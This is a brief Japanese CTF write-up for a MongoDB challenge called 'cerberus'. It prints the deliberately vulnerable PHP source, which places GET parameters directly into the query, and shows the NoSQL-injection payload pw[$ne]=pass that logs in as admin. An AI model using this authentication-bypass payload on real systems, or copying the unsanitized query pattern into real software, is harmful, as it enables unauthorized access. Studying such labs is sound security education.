<?php include "./config.php"; login_chk(); $db = mongodb_connect(); $query = array( "id" => $_GET['id'], "pw" => $_GET['pw'] ); echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>"; $result = mongodb_fetch_array($db->prob_cerberus->find($query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; if($result['id'] === "admin") solve("cerberus"); highlight_file(__FILE__);
特徴は以下。
- MongoDB
- id,pwが入力可能
- id=adminで帰ってくればいい
NoSQL Injection (for MongoDB)
NoSQL Injectionをやる。
?id=admin&pw=pass
にアクセスすると、クエリ文が{"id":"admin", "pw": "pass"}
となる。
これはSQLっぽく言うとid='admin' and pw='pass'
ということであるが、以下のように攻撃可能。
?id=admin&pw[$ne]=pass
にアクセスすると、クエリ文が{"id":"admin", "pw": {"$ne": "pass"}}
となる。
これはSQLっぽく言うとid='admin' and pw!='pass'
ということであり、adminにアクセス可能。